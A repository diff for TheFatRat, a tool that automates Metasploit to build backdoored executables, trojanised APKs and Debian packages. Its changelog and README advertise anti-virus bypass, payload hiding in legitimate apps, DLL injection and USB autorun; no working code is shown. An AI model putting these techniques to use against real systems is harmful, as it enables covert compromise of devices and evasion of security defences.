@ -0,0 +1,4 @@
# repo: screetsec/TheFatRat
# filename: FUNDING.YML
custom: ["https://paypal.me/screetsec"]

Binary file not shown.

View File

@ -0,0 +1 @@
Tested apk file

Binary file not shown.

BIN
APKS/x86/BaiduBrowser.apk Normal file

Binary file not shown.

1
APKS/x86/Readme.md Normal file
View File

@ -0,0 +1 @@
Tested apk file

View File

@ -1,4 +1,63 @@
## CHANGELOG
* v1.9.8 - Upgraded android sdk tools to 30.0.1 & apktool to 2.6.0
* v1.9.7 - Fixes in Setup , now it detects if incorrect version of mingw is installed and also updates automatically public keys for jessie repository before installing correct version of mingw for fudwin
* v1.9.7 - Bugs and more bugs solved in setup and chk_tools , implemented python3 in install and pip3 for original powerstager and solved theissues during a clean install in kali of fatrat the problems related to mingw issues from jessie repo from debian
* v1.9.7 - Implemented capability to test apk before going further with payload
* v1.9.7 - Added MsfVenom capability to embbed directly a payload into an apk , added option on ap backdoor menu
* v1.9.7 - Implemented otion in setup to allow user to select output directory of fatrat generated files
* v1.9.7 - Added tested apks that work with backdoor-apk
* v1.9.7 - Added chk_tools script to verify tools and libraries versions to run fatrat , Script will also provide solutions
* v1.9.7 - Upgraded Apktool to 2.4.1 version
* v1.9.7 - Output folder for all generated files in fatrat will now be in $Home/Fatrat_Generated
* V1.9.7 - Removed dex2jar , proguard , not needed anymore for new backdoor_apk , updated backdoor_apk to 0.2.4a and all tools
* v1.9.7 - APKtool updated to 2.4.0
* v1.9.7 - Version control added to file instead in source code , fixed all pwnwinds backdoor payload options
* v1.9.6 - fixes in pwnwinds and in setup
* v1.9.6 - new features added Trodebi ( Trojan debian package - embed in debian package )
* v1.9.6 - updated pwnwinds & add Create Backdoor with C to dll ( custom dll inject )
* v1.9.6 - removed monodevelop in depend ( people have option to instal it , install manual )
* v1.9.5 - 64bit exe option added in powerfull.sh
* v1.9.5 - Fixes in backdoor-factory option
* v1.9.5 - Obfuscation method implemented in powerstager & ability to choose icon for rat EXE in powerstager
* v1.9.5 - Desktop shortcut implemeted in setup
* v1.9.5 - Update Android Build Tools -> R26 & Android Platform -> 26-R01
* v1.9.5 - Update powerstager to 0.2.5
* v1.9.5 - Code missing in fudwin (fixed)
* v1.9.5 - added dll injection attack
* v1.9.5 - update function () creator script into ver 1.3
* v1.9.4 - Fix in microsploit option 5 , grab script created to get msfconsole generated payload while running
* v1.9.4 - Fatrat will be full terminal mode , Powerstage tool added , Setup script rebuilded
* v1.9.3 - Added update script
* v1.9.3 - Dex2Jar will be installed from now on from Fatrat setup manually on user system (reason: Kali repo still uses old version)
* v1.9.3 - Updated Android build tools to V.26 RC1 & Android Platform V. 25-R03
* v1.9.3 - Updated dana travis backdoor-apk to 0.2.2 into fatrat / added openssl in setup
* v1.9.2 - Msfvenom Android rat will be signed with android certificate , so it can be installed properly
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator
* v1.9.2 - Fixed payload in pnwinds option2
* v1.9.2 - Implemented Stop functions in pnwinds
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
* v1.9.2 - Implemented possibility for user to save msfconsole listeners
* v1.9.2 - Fixes in Microsploit
* v1.9.2 - Implemented local ip , public ip & hostname display to powerfull.sh
* v1.9.2 - Implemented local ip , public ip & hostname display before user set Lhost
* v1.9.2 - Implemented log creation for microsploit & fixed bugs
* v1.9.2 - Added effective way to detect user linux distribution
* v1.9.2 - Setup.sh ( patched )
* v1.9.2 - bug in microsploit ( patched )
* v1.9.2 - delt some function and variable
* v1.9.1 - v1.9.1 - Implemented Microsploit (Office Exploitation Tool)
* v1.9b - Implemented Backdoor-apk from Dana James Traversie in this version .{ Less tools to install during setup.sh }
* v1.9.0 - update script setup.sh
* v1.9.0 - del some variable and function
* v1.9.0 - fixed typo and bugs
* v1.9.0 - Backdoor APKS have a new payload hiding method in rat apk to not be detected .
* v1.9.0 - APK (5) rat rebuild totally changed .(adapted backdoor-apk script to fatrat to both work together)
* v1.9.0 - Apktool will not be installed no more by setup.sh , the same thing applies to : dx , zipalign (apktool on debian repo is 2.2.1 , and that version have a bug that gives error on compiling the apks , so , apktool and android tools were updated to latest version 25.0.2 and embeded in (tools) directory of fatrat .
* v1.8.5 - fixed some bugs and double function in setup.sh
* v1.8.1 - added possibility to configure metasploit , backdoor-factory & searchsploit with manual inputs
* - added more packages instalations needed for non-pentest distribution & some bugs fixed
* v1.8 - add file pumper in TFR
* v1.8 - Backdoor with c program for meterpreter reverse_tcp

41
ISSUES.md Normal file
View File

@ -0,0 +1,41 @@
# Issue
- When creating a new issue in fatrat github , upload the files according to your issue :
## Detail System Operation
- uname -a
- whoami
## What Version Do you Use ?
- TheFatRat - Version
- Metasploit - Version
## Packages installation (using setup.sh)
- TheFatRat creates a log file during the setup that is stored in TheFatRat/logs/apt.log
if your issue is related to setup then make sure you upload to your issue in github this file and
install.log also in same directory .
## Using fatrat
### Microsploit
TheFatRat creates a log file during the execution of microsploit in TheFatRat/logs/msploit.log
if your issue is related to microsploit then make sure you upload this file to your issue in github .
### Using Fudwin (powerstager) in fatrat
- TheFatRat creates a log file during the execution of powerstager in TheFatRat/logs/fudwin.log
if your issue is related to powerstager then make sure you upload this file to your issue in github .
### Using backdoor_apk (creating android files)
- TheFatRatcreates a log file during the execution of backdoor apk in TheFatRat/logs/apk.log
if your issue is related to backdoor apk then make sure you upload this file to your issue in github .
# Upload screenshots
- To upload your log file to your issue click bellow your new created issue text field , like it can be show in the next image :
nissue
<img src="https://user-images.githubusercontent.com/7487321/28249733-719e7fa8-6a29-11e7-9f75-1189f9a18dc9.png" ></img>
# Read
- If any issue is created in TheFatRat github related to one of the tools before and if you do not upload what we ask "respective tool log file in fatrat/logs directory (so we can detect the problem more faster) , then we will close automatically your issue without any reply in it .

687
LICENSE
View File

@ -1,21 +1,674 @@
The MIT License (MIT)
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (c) 2016 Edo -maland-
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
Preamble
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

216
README.md
View File

@ -1,134 +1,112 @@
# TheFatRat
[![Version](https://img.shields.io/badge/TheFatRat-1.9.8-brightgreen.svg?maxAge=259200)]()
[![Version](https://img.shields.io/badge/Codename-Target-red.svg?maxAge=259200)]()
[![Stage](https://img.shields.io/badge/Release-Testing-brightgreen.svg)]()
[![Build](https://img.shields.io/badge/Supported_OS-Linux-orange.svg)]()
[![Available](https://img.shields.io/badge/Available-BlackArch-red.svg?maxAge=259200)]()
[![Documentation](https://img.shields.io/badge/CEHv10-eccouncil-blue.svg?maxAge=259200)](https://github.com/ManhNho/CEHv10/tree/master/Slides)
[![Contributions Welcome](https://img.shields.io/badge/contributions-welcome-blue.svg?style=flat)]()
### A Massive Exploiting Tool
![Banner](https://user-images.githubusercontent.com/17976841/65820028-6ae17e00-e24e-11e9-894f-35836481cc2c.png)
**TheFatRat** is an exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. **TheFatRat** Provides An Easy way to create Backdoors and Payload which can bypass most anti-virus.
## Information
This tool is for educational purpose only, usage of TheFatRat for attacking targets without prior mutual consent is illegal.
Developers assume no liability and are not responsible for any misuse or damage cause by this program.
#TheFatRat ( Unit for bypass av )
## Features !
- Fully Automating MSFvenom & Metasploit.
- Local or remote listener Generation.
- Easily Make Backdoor by category Operating System.
- Generate payloads in Various formats.
- Bypass anti-virus backdoors.
- File pumper that you can use for increasing the size of your files.
- The ability to detect external IP & Interface address .
- Automatically creates AutoRun files for USB / CDROM exploitation
##Update: Version 1.8
##Codename: Spark
What is TheFatRat ??
An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .
#Screenshot
